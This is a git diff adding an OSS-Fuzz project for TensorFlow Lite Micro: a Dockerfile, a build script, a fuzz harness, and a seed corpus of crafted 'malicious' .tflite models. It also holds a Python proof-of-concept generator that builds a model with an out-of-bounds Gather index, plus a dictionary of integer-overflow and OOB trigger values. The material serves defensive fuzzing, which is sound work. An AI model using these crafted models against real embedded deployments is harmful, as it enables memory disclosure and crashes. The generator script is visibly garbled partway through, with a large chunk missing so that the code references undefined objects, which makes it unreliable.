diff --git a/projects/tflite-micro/Dockerfile b/projects/tflite-micro/Dockerfile new file mode 100644 index 000000000000..f0a7590945b9 --- /dev/null +++ b/projects/tflite-micro/Dockerfile @@ -0,0 +1,52 @@ +# Copyright 2026 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# OSS-Fuzz Dockerfile for tflite-micro + +FROM gcr.io/oss-fuzz-base/base-builder + +# Install build dependencies required by tflite-micro's Makefile +RUN apt-get update && apt-get install -y \ + make \ + wget \ + curl \ + unzip \ + python3 \ + python3-pip \ + git \ + xxd \ + && rm -rf /var/lib/apt/lists/* + +# Install Python packages that TFLM's build scripts require: +# numpy - generate_cc_arrays.py +# Pillow - generate_cc_arrays.py (PIL image handling) +# wave - stdlib, but ensure it's available +RUN pip3 install numpy Pillow flatbuffers --break-system-packages 2>/dev/null \ + || pip3 install numpy Pillow flatbuffers + +# Clone tflite-micro repository +RUN git clone --depth 1 https://github.com/tensorflow/tflite-micro.git \ + $SRC/tflite-micro + +# Copy the fuzz target source and PoC generators +COPY fuzz_model_load.cc $SRC/ +COPY build_malicious_gather.py $SRC/ + +# Copy seed corpus directory +COPY seed_corpus/ $SRC/seed_corpus/ + +# Copy build script +COPY build.sh $SRC/ + +WORKDIR $SRC/tflite-micro diff --git a/projects/tflite-micro/build.sh b/projects/tflite-micro/build.sh new file mode 100644 index 000000000000..b4f3c0a89916 --- /dev/null +++ b/projects/tflite-micro/build.sh @@ -0,0 +1,229 @@ +#!/bin/bash -eu +# Copyright 2026 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +############################################################################### +# OSS-Fuzz build script for tflite-micro +# +# Builds the TFLM static library with OSS-Fuzz sanitizer-instrumented +# compilers, then compiles and links the fuzz harness against it. +# +# The fuzz target exercises: +# GetModel() -> MicroInterpreter -> AllocateTensors() -> Invoke() +# +############################################################################### + +cd $SRC/tflite-micro + +# ------------------------------------------------------------------- +# Step 1: Download third-party dependencies +# TFLM needs FlatBuffers, gemmlowp, ruy, etc. +# The Makefile has a target that fetches them automatically. +# ------------------------------------------------------------------- +echo "[*] Downloading third-party dependencies..." +make -f tensorflow/lite/micro/tools/make/Makefile \ + TARGET=linux \ + third_party_downloads + +# ------------------------------------------------------------------- +# Step 2: Build the TFLM static library +# +# We pass OSS-Fuzz compilers ($CC, $CXX) and flags ($CFLAGS, $CXXFLAGS) +# through the Makefile's EXTRA_ variables. The Makefile builds +# libtensorflow-microlite.a in gen/linux_x86_64_default/lib/ +# ------------------------------------------------------------------- +echo "[*] Building libtensorflow-microlite.a..." + +# Clean any previous build artifacts +make -f tensorflow/lite/micro/tools/make/Makefile \ + TARGET=linux \ + clean 2>/dev/null || true + +make -j$(nproc) -f tensorflow/lite/micro/tools/make/Makefile \ + TARGET=linux \ + CC="${CC}" \ + CXX="${CXX}" \ + AR="${AR:-ar}" \ + EXTRA_CXXFLAGS="${CXXFLAGS}" \ + EXTRA_CFLAGS="${CFLAGS}" \ + microlite + +# ------------------------------------------------------------------- +# Step 3: Find the built library and set up include paths +# ------------------------------------------------------------------- +TFLM_LIB=$(find gen/ -name "libtensorflow-microlite.a" -print -quit) + +if [ -z "${TFLM_LIB}" ]; then + echo "ERROR: libtensorflow-microlite.a not found after build" + echo "Listing gen/ directory:" + find gen/ -type f -name "*.a" 2>/dev/null || echo "(no .a files found)" + exit 1 +fi + +echo "[+] Found TFLM library: ${TFLM_LIB}" +TFLM_LIB_DIR=$(dirname "${TFLM_LIB}") + +# Gather all include paths needed by TFLM headers +TFLM_INCLUDES="-I. \ + -Itensorflow/lite/micro/tools/make/downloads/flatbuffers/include \ + -Itensorflow/lite/micro/tools/make/downloads/gemmlowp \ + -Itensorflow/lite/micro/tools/make/downloads/ruy" + +# Check for additional include paths that may exist +for extra_inc in \ + "third_party/flatbuffers/include" \ + "third_party/gemmlowp" \ + "third_party/ruy"; do + if [ -d "${extra_inc}" ]; then + TFLM_INCLUDES="${TFLM_INCLUDES} -I${extra_inc}" + fi +done + +# ------------------------------------------------------------------- +# Step 4: Compile the fuzz target +# +# Same compilation approach as run_malicious.cc from the PoC: +# g++ -std=c++17 -o fuzz_target fuzz_model_load.cc \ +# -I. -I -I -I \ +# -L -ltensorflow-microlite -lpthread -ldl +# +# But using $CXX, $CXXFLAGS, $LIB_FUZZING_ENGINE from OSS-Fuzz. +# ------------------------------------------------------------------- +echo "[*] Compiling fuzz_model_load..." + +$CXX $CXXFLAGS ${TFLM_INCLUDES} \ + -std=c++17 \ + -c $SRC/fuzz_model_load.cc \ + -o $WORK/fuzz_model_load.o + +echo "[*] Linking fuzz_model_load..." + +$CXX $CXXFLAGS \ + $WORK/fuzz_model_load.o \ + ${TFLM_LIB} \ + $LIB_FUZZING_ENGINE \ + -lpthread -ldl \ + -o $OUT/fuzz_model_load + +echo "[+] Built: $OUT/fuzz_model_load" + +# ------------------------------------------------------------------- +# Step 5: Package seed corpus +# +# Include PoC seeds for both vulnerabilities and any .tflite test +# models from the TFLM repo as mutation seeds. +# ------------------------------------------------------------------- +echo "[*] Packaging seed corpus..." + +# Generate the Gather OOB PoC seed if the generator is available +if [ -f "$SRC/build_malicious_gather.py" ]; then + echo "[*] Generating malicious_gather.tflite seed..." + python3 $SRC/build_malicious_gather.py || true + if [ -f "malicious_gather.tflite" ]; then + cp malicious_gather.tflite $SRC/seed_corpus/ 2>/dev/null || true + echo "[+] Added malicious_gather.tflite to seed corpus" + fi +fi + +# Start with our hand-crafted seeds (integer overflow + gather OOB) +if [ -d "$SRC/seed_corpus" ] && [ "$(ls -A $SRC/seed_corpus/*.tflite 2>/dev/null)" ]; then + zip -j $OUT/fuzz_model_load_seed_corpus.zip $SRC/seed_corpus/*.tflite + echo "[+] Added $(ls $SRC/seed_corpus/*.tflite | wc -l) seed files from seed_corpus/" +fi + +# Also grab any .tflite test models from the TFLM repo (good mutation base) +REPO_MODELS=$(find $SRC/tflite-micro -name "*.tflite" -size +0 -size -1M 2>/dev/null | head -50) +if [ -n "${REPO_MODELS}" ]; then + echo "${REPO_MODELS}" | while read f; do + # Add to existing zip, skip duplicates + zip -uj $OUT/fuzz_model_load_seed_corpus.zip "$f" 2>/dev/null || true + done + echo "[+] Added repo .tflite files to seed corpus" +fi + +# ------------------------------------------------------------------- +# Step 6: Create a FlatBuffer dictionary for guided mutation +# +# These tokens help the fuzzer find valid FlatBuffer structures faster. +# Includes TFLite magic bytes, common tensor types, and dimension +# values known to trigger integer overflow. +# ------------------------------------------------------------------- +echo "[*] Creating fuzzing dictionary..." + +cat > $OUT/fuzz_model_load.dict << 'DICT_EOF' +# TFLite FlatBuffer file identifier +"TFL3" +"\x54\x46\x4C\x33" + +# Schema version 3 +"\x03\x00\x00\x00" + +# Tensor types: FLOAT32=0, INT32=2, INT8=9 +"\x00" +"\x02" +"\x09" + +# FullyConnected opcode = 9 +"\x09" + +# GATHER opcode = 36 (0x24) +"\x24" + +# BuiltinOptions_GatherOptions = 23 (0x17) +"\x17" + +# Common dimension values +"\x01\x00\x00\x00" +"\x03\x00\x00\x00" +"\x04\x00\x00\x00" +"\x08\x00\x00\x00" +"\x10\x00\x00\x00" + +# INTEGER OVERFLOW TRIGGER VALUES +# 1073741825 = 0x40000001 -> 4 * this = 4294967300 wraps to 4 +"\x01\x00\x00\x40" +# 1610612737 = 0x60000001 -> 4 * this wraps to negative +"\x01\x00\x00\x60" +# INT32_MAX = 0x7FFFFFFF +"\xFF\xFF\xFF\x7F" +# Powers of 2 near overflow boundary +"\x00\x00\x00\x20" +"\x00\x00\x00\x10" + +# GATHER OOB INDEX TRIGGER VALUES (as int32 little-endian) +# 999 (0x3E7) -- small OOB, stays within arena (silent info-leak) +"\xE7\x03\x00\x00" +# 100000 (0x186A0) -- large OOB, goes past arena -> ASAN SEGV +"\xA0\x86\x01\x00" +# -1 (0xFFFFFFFF) -- negative index for backward OOB read +"\xFF\xFF\xFF\xFF" +# INT32_MIN (0x80000000) -- extreme negative +"\x00\x00\x00\x80" + +# FlatBuffer structural tokens +"\x00\x00\x00\x00" +"\x04\x00" +"\x06\x00" +"\x08\x00" +"\x0C\x00" + +# Quantization: scale=1.0f +"\x00\x00\x80\x3F" +# Quantization: zero_point=0 +"\x00\x00\x00\x00\x00\x00\x00\x00" +DICT_EOF + +echo "[+] Dictionary: $OUT/fuzz_model_load.dict" +echo "[*] Build complete!" +ls -la $OUT/fuzz_model_load* diff --git a/projects/tflite-micro/build_malicious_gather.py b/projects/tflite-micro/build_malicious_gather.py new file mode 100644 index 000000000000..c1d16f7c9f64 --- /dev/null +++ b/projects/tflite-micro/build_malicious_gather.py @@ -0,0 +1,226 @@ +#!/usr/bin/env python3 + + +import struct +import sys + + +OOB_INDEX = 100000 + + +def build_flatbuffer(): + """Build a minimal .tflite FlatBuffer with a Gather op and OOB index.""" + try: + from flatbuffers import builder as fb_builder + except ImportError: + print("ERROR: flatbuffers Python package not found.") + print("Install with: pip install flatbuffers") + sys.exit(1) + + b = fb_builder.Builder(2048) + + # ═══════════════════════════════════════════════════════════════ + # BUFFERS + # ═══════════════════════════════════════════════════════════════ + # Buffer 0: empty sentinel (required by TFLite spec) + # Buffer 1: empty (input — allocated at runtime in arena) + # Buffer 2: coords data = int32 [OOB_INDEX] ← THE MALICIOUS VALUE + # Buffer 3: empty (output — allocated at runtime in arena) + + coords_bytes = struct.pack(' T2 + # ═══════════════════════════════════════════════════════════════ + b.StartVector(4, 2, 4) + b.PrependInt32(1) + b.PrependInt32(0) + op_inputs = b.EndVector() + + b.StartVector(4, 1, 4) + b.PrependInt32(2) + op_outputs = b.EndVector() + + b.StartObject(13) + b.PrependUint32Slot(0, 0, 0) # opcode_index = 0 + b.PrependUOffsetTRelativeSlot(1, op_inputs, 0) + b.PrependUOffsetTRelativeSlot(2, op_outputs, 0) + b.PrependUint8Slot(3, 23, 0) # GatherOptions = 23 + b.PrependUOffsetTRelativeSlot(4, gather_opts, 0) + operator0 = b.EndObject() + + b.StartVector(4, 1, 4) + b.PrependUOffsetTRelative(operator0) + operators_vec = b.EndVector() + + # ═══════════════════════════════════════════════════════════════ + # SUBGRAPH + # ═══════════════════════════════════════════════════════════════ + b.StartVector(4, 1, 4) + b.PrependInt32(0) + sg_inputs = b.EndVector() + + b.StartVector(4, 1, 4) + b.PrependInt32(2) + sg_outputs = b.EndVector() + + sg_name = b.CreateString("main") + + b.StartObject(5) + b.PrependUOffsetTRelativeSlot(0, tensors_vec, 0) + b.PrependUOffsetTRelativeSlot(1, sg_inputs, 0) + b.PrependUOffsetTRelativeSlot(2, sg_outputs, 0) + b.PrependUOffsetTRelativeSlot(3, operators_vec, 0) + b.PrependUOffsetTRelativeSlot(4, sg_name, 0) + subgraph0 = b.EndObject() + + b.StartVector(4, 1, 4) + b.PrependUOffsetTRelative(subgraph0) + subgraphs_vec = b.EndVector() + + # ═══════════════════════════════════════════════════════════════ + # OPERATOR CODE: GATHER = 36 + # ═══════════════════════════════════════════════════════════════ + b.StartObject(4) + b.PrependInt8Slot(0, 36, 0) # deprecated_builtin_code = GATHER + b.PrependInt32Slot(2, 1, 0) # version = 1 + b.PrependInt32Slot(3, 36, 0) # builtin_code = GATHER + opcode0 = b.EndObject() + + b.StartVector(4, 1, 4) + b.PrependUOffsetTRelative(opcode0) + opcodes_vec = b.EndVector() + + # ═══════════════════════════════════════════════════════════════ + # MODEL ROOT + # ═══════════════════════════════════════════════════════════════ + desc = b.CreateString("Gather OOB PoC") + + b.StartObject(5) + b.PrependUint32Slot(0, 3, 0) # version = 3 + b.PrependUOffsetTRelativeSlot(1, opcodes_vec, 0) + b.PrependUOffsetTRelativeSlot(2, subgraphs_vec, 0) + b.PrependUOffsetTRelativeSlot(3, desc, 0) + b.PrependUOffsetTRelativeSlot(4, buffers_vec, 0) + model = b.EndObject() + + b.Finish(model, b"TFL3") + return bytes(b.Output()) + + +def main(): + output_path = "malicious_gather.tflite" + data = build_flatbuffer() + + with open(output_path, "wb") as f: + f.write(data) + + offset_bytes = OOB_INDEX * 4 * 4 # inner_size=4, sizeof(float)=4 + print(f"[+] Written {len(data)} bytes to {output_path}") + print(f"[+] Model: GATHER op, input=[3,4] FLOAT32, coords=[{OOB_INDEX}]") + print(f"[+] axis_size=3, valid indices: 0..2, malicious index: {OOB_INDEX}") + print(f"[+] OOB read offset: {OOB_INDEX} * 4 * 4 = {offset_bytes:,} bytes") + print(f"[+] Arena is 200KB → read goes ~{(offset_bytes-200000)//1000}KB past arena") + print() + print(f"Build & run:") + print(f" ./run_poc_gather {output_path}") + + +if __name__ == "__main__": + main() diff --git a/projects/tflite-micro/fuzz_model_load.cc b/projects/tflite-micro/fuzz_model_load.cc new file mode 100644 index 000000000000..e39eb4b62691 --- /dev/null +++ b/projects/tflite-micro/fuzz_model_load.cc @@ -0,0 +1,107 @@ +// Copyright 2026 Google LLC +// +// Licensed under the Apache License, Version 2.0 (the "License"); + +// fuzz_model_load.cc +// +// OSS-Fuzz harness for TensorFlow Lite Micro (tflite-micro). +// +// Pipeline exercised: +// GetModel(data) -> MicroInterpreter(model, resolver, arena, size) +// -> AllocateTensors() -> fill inputs -> Invoke() +// +// NOTE: We intentionally do NOT run flatbuffers::Verifier on the input. +// This matches the real TFLM attack surface — MicroInterpreter does not +// verify the FlatBuffer before processing it. + +#include +#include +#include + +#include "tensorflow/lite/micro/micro_interpreter.h" +#include "tensorflow/lite/micro/micro_mutable_op_resolver.h" +#include "tensorflow/lite/schema/schema_generated.h" + +// Same arena size as the PoC runner (run_malicious.cc). +constexpr int kArenaSize = 200000; +alignas(16) static uint8_t arena[kArenaSize]; + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { + // Reject trivially small inputs (can't be valid FlatBuffers) + // and overly large inputs (avoid OOM in fuzzer infra) + if (size < 8 || size > 4 * 1024 * 1024) { + return 0; + } + + // Step 1: Parse as TFLite model — NO verification, same as run_malicious.cc + // This is intentional: TFLM's MicroInterpreter does not verify the + // FlatBuffer, so neither should the fuzz harness. The attacker controls + // the .tflite file contents and TFLM trusts them. + const tflite::Model *model = tflite::GetModel(data); + if (model == nullptr) { + return 0; + } + + // Basic null checks to avoid trivial nullptr crashes in the parser + if (model->subgraphs() == nullptr || model->subgraphs()->size() == 0) { + return 0; + } + if (model->buffers() == nullptr) { + return 0; + } + + // Step 2: Set up op resolver — covers both PoC targets plus common ops + tflite::MicroMutableOpResolver<20> resolver; + // Integer overflow PoC ops + resolver.AddFullyConnected(); + resolver.AddDequantize(); + resolver.AddQuantize(); + resolver.AddReshape(); + // Gather OOB read PoC ops + resolver.AddGather(); // TARGET — OOB read via unchecked index + resolver.AddGatherNd(); // related op (has proper bounds checks) + resolver.AddEmbeddingLookup(); // related op (has proper bounds checks) + // Common TFLM ops for broader coverage + resolver.AddAdd(); + resolver.AddMul(); + resolver.AddSub(); + resolver.AddRelu(); + resolver.AddRelu6(); + resolver.AddSoftmax(); + resolver.AddLogistic(); + resolver.AddConv2D(); + resolver.AddDepthwiseConv2D(); + resolver.AddMaxPool2D(); + resolver.AddAveragePool2D(); + resolver.AddMean(); + + // Step 3: Create interpreter and allocate tensors + // AllocateTensors() calls BytesRequiredForTensor() for each tensor. + // Integer overflow: element_count (int32) wraps, causing tiny allocation. + tflite::MicroInterpreter interp(model, resolver, arena, kArenaSize); + + TfLiteStatus alloc_status = interp.AllocateTensors(); + if (alloc_status != kTfLiteOk) { + return 0; + } + + // Step 4: Fill input tensors — same pattern as run_malicious.cc + // (memset if reasonably sized) + for (size_t i = 0; i < interp.inputs_size(); ++i) { + TfLiteTensor *inp = interp.input(i); + if (inp == nullptr || inp->data.raw == nullptr || inp->bytes == 0) { + continue; + } + if (inp->bytes < (size_t)kArenaSize) { + for (size_t byte_idx = 0; byte_idx < inp->bytes; ++byte_idx) { + inp->data.raw[byte_idx] = data[byte_idx % size]; + } + } + } + + // Step 5: Invoke — kernel reads actual (non-overflowed) dims for loop + // bounds and writes past the tiny allocation. ASAN catches this. + interp.Invoke(); + + return 0; +} diff --git a/projects/tflite-micro/project.yaml b/projects/tflite-micro/project.yaml new file mode 100644 index 000000000000..331e9de3524f --- /dev/null +++ b/projects/tflite-micro/project.yaml @@ -0,0 +1,25 @@ +homepage: "https://github.com/tensorflow/tflite-micro" +main_repo: "https://github.com/tensorflow/tflite-micro" + +primary_contact: "veblush@google.com" + +auto_ccs: + - "terrytangyuan@gmail.com" + - "anindyaandy1904@gmail.com" + - "anindyaisandy@gmail.com" + +language: c++ + +fuzzing_engines: + - libfuzzer + - afl + - honggfuzz + +sanitizers: + - address + - undefined + - memory + +architectures: + - x86_64 + - i386 diff --git a/projects/tflite-micro/seed_corpus/int32_max_dim.tflite b/projects/tflite-micro/seed_corpus/int32_max_dim.tflite new file mode 100644 index 000000000000..1dd0c8d0309c Binary files /dev/null and b/projects/tflite-micro/seed_corpus/int32_max_dim.tflite differ diff --git a/projects/tflite-micro/seed_corpus/malicious.tflite b/projects/tflite-micro/seed_corpus/malicious.tflite new file mode 100644 index 000000000000..78e1d98eb192 Binary files /dev/null and b/projects/tflite-micro/seed_corpus/malicious.tflite differ diff --git a/projects/tflite-micro/seed_corpus/malicious_gather.tflite b/projects/tflite-micro/seed_corpus/malicious_gather.tflite new file mode 100644 index 000000000000..5ade40ef6152 Binary files /dev/null and b/projects/tflite-micro/seed_corpus/malicious_gather.tflite differ diff --git a/projects/tflite-micro/seed_corpus/multidim_overflow.tflite b/projects/tflite-micro/seed_corpus/multidim_overflow.tflite new file mode 100644 index 000000000000..053d3d16916b Binary files /dev/null and b/projects/tflite-micro/seed_corpus/multidim_overflow.tflite differ diff --git a/projects/tflite-micro/seed_corpus/near_overflow.tflite b/projects/tflite-micro/seed_corpus/near_overflow.tflite new file mode 100644 index 000000000000..f549050cc57c Binary files /dev/null and b/projects/tflite-micro/seed_corpus/near_overflow.tflite differ diff --git a/projects/tflite-micro/seed_corpus/negative_overflow.tflite b/projects/tflite-micro/seed_corpus/negative_overflow.tflite new file mode 100644 index 000000000000..1e9f67891565 Binary files /dev/null and b/projects/tflite-micro/seed_corpus/negative_overflow.tflite differ diff --git a/projects/tflite-micro/seed_corpus/overflow_trigger.tflite b/projects/tflite-micro/seed_corpus/overflow_trigger.tflite new file mode 100644 index 000000000000..78e1d98eb192 Binary files /dev/null and b/projects/tflite-micro/seed_corpus/overflow_trigger.tflite differ diff --git a/projects/tflite-micro/seed_corpus/valid_rect.tflite b/projects/tflite-micro/seed_corpus/valid_rect.tflite new file mode 100644 index 000000000000..f5b440446712 Binary files /dev/null and b/projects/tflite-micro/seed_corpus/valid_rect.tflite differ diff --git a/projects/tflite-micro/seed_corpus/valid_small.tflite b/projects/tflite-micro/seed_corpus/valid_small.tflite new file mode 100644 index 000000000000..1d00d2367972 Binary files /dev/null and b/projects/tflite-micro/seed_corpus/valid_small.tflite differ